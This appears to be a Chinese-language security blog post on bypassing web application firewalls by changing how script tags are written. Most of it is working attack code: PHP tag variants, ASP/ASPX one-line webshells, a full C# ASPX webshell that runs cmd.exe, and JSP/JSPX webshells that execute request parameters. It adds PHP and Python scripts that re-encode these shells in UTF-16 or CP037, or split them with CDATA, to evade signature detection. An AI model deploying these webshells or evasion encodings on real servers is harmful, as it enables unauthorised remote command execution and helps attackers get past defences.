waf 绕过之标签绕过

末尾有招聘，在深圳的可以考虑下。

在内容绕过 waf 拦截上，一般有两种思路。

第一种是在代码上想办法，各种混淆代码，或者放弃特征明显的 eval，使用特征不那么明显的命令执行，远程文件包含，文件上传，反序列化。

但有的 waf 会直接从脚本文件的标签特征上下手，这个时候就需要用到第二种办法，使用脚本文件的特性来规避标签特征。

1， php 特殊标签

```
1 <?php phpinfo();?>
2 <script language='php'>phpinfo();</script>
3 <?=phpinfo()?>
4 <?phpinfo()?>
5 <%=phpinfo()%>
```

php 一共有 5 种标签特征，其中前三种是 php 默认支持的，后两种分别需要在 php.ini 开启 short_open_tag 和 asp_tags，但 245 都在 php7.0 被移除了。

2， asp/aspx 特殊标签

常见 asp/aspx 一句话

```
<%eval request("a")%>
<%@ LANGUAGE=Jscript %><%eval(Request("a"),"unsafe");%>
```

asp/aspx 也有类似 <script language='php'>的形式，规避了 <%%> 特征。

```
asp
<script language="vbs" runat="server">eval request("a")</script>
aspx
<script language="C#" runat="server">void page_load(){Response.Write(Request.QueryString["a"]);}</script>
```

但很明显 aspx 这种没有危害，要写个命令执行的 webshell 出来。

```
<script language="C#" runat="server">
void page_load(){
  string ok = Request.QueryString["cmd"];
  string shell="C:\\windows\\system32\\cmd.exe";
  Response.Write("<pre>");
  Response.Write(GetCmd(ok,shell));
  Response.Write("</pre>");
}
private stringGetCmd(string cmd,string shell)
{
  string ok = string.Empty;
   System.Diagnostics.Process p = newSystem.Diagnostics.Process();
            p.StartInfo.FileName = shell;
            p.StartInfo.UseShellExecute =false;
            p.StartInfo.RedirectStandardInput =true;
            p.StartInfo.RedirectStandardOutput= true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            string strOutput = null;
            try
            {
                p.Start();
                p.StandardInput.WriteLine(cmd);
```

```
                p.StandardInput.WriteLine(cmd);
              Response.Write(cmd);
               p.StandardInput.WriteLine("exit");
                ok =p.StandardOutput.ReadToEnd();
                p.WaitForExit();
                p.Close();
             }
            catch (Exception ex)
             {
            Response.Write("<pre>");
            Response.Write(ex);
            Response.Write("/<pre>");
                 }
  return ok;
}
</script>
```

aspx 也支持脚本文件为 UTF-16be 或者 CP037 等编码，但需要在 web.config 中设置如下。转码脚本参考 jsp 篇。

```
<globalization fileEncoding="cp037"/>
```

3， jspx UTF-16be/le

jsp 内容全部来自 https://www.anquanke.com/post/id/210630

常见 jsp webshell

```
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
```

常见 jspx webshell，注意 jspx webshell 改成 jsp 后缀依旧可以解析，如果想简单的逃逸 <%%> 特征，直接使用 < jsp:scriptlet > 即可。

```
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"  version="1.2">
<jsp:directive.page contentType="text/html"pageEncoding="UTF-8" />
```

```
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
</jsp:root>
```

jsp 或者 jspx 通过 xerces 解析，可以利用字符编码和 xml 特性来绕过 waf 识别。UTF-8 转 UTF-16be 很简单，每个单字节前面加 \ x00 即可，UTF-16le 则是每个单字节后面加 \ x00。

```
<?php
$utf8 = '<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>';

$utf16be = str_replace('UTF-8', 'UTF-16be', $utf8);
$utf16be = mb_convert_encoding($utf16be, 'UTF-16be', 'UTF-8');
file_put_contents('utf-16be.jsp',$utf16be);

$utf16le = str_replace('UTF-8', 'UTF-16le', $utf8);
$utf16le = mb_convert_encoding($utf16le, 'UTF-16le', 'UTF-8');
file_put_contents('utf-16le.jsp',$utf16le);
```

转码之后的 webshell，<%%> 特征变成了 \ x00<\x00%\x00%\x00>\x00，如果 waf 不够严谨，就会被绕过。

4、jspx CP037

xerces 支持 CP037 这种冷门编码，php 似乎不支持这种编码，用 python 来写。

```
#python2
charset = "utf-8"

data = '''<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>'''.format(charset=charset)

f16be = open('utf-16be.jsp','wb')
f16be.write(data.replace('UTF-8','UTF-16be').encode('utf-16be'))

f16le = open('utf-16le.jsp','wb')
f16le.write(data.replace('UTF-8','UTF-16le').encode('utf-16le'))

fcp037 = open('cp037.jsp','wb')
fcp037.write(data.replace('UTF-8','CP037').encode('cp037'))
```

比 UTF-16 更难发现

5， jspx xml 特性

允许 html 编码

```
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>

</jsp:declaration>
<jsp:scriptlet>

Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
```

允许 CDATA 随意分割

```
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
<![CDATA[Run]]>time.getRuntime().<![CDATA[exe]]>c(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
```

6， jsp BOM UTF-16be

对于非 xml 形式 jsp，可以用 bom 头 (\xFE\xFF) 来声明编码为 UTF-16be

```
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)

f16be = open('utf-16be.jsp','wb')
f16be.write("\xfe\xff")
f16be.write(data.encode('utf-16be'))
```

7， jsp contentType

对于普通的 jsp，还可以用多种方法来声明编码方式

```
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)

f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))


f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))

fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
```

原文中 pageEncoding 试了一下发现不太行。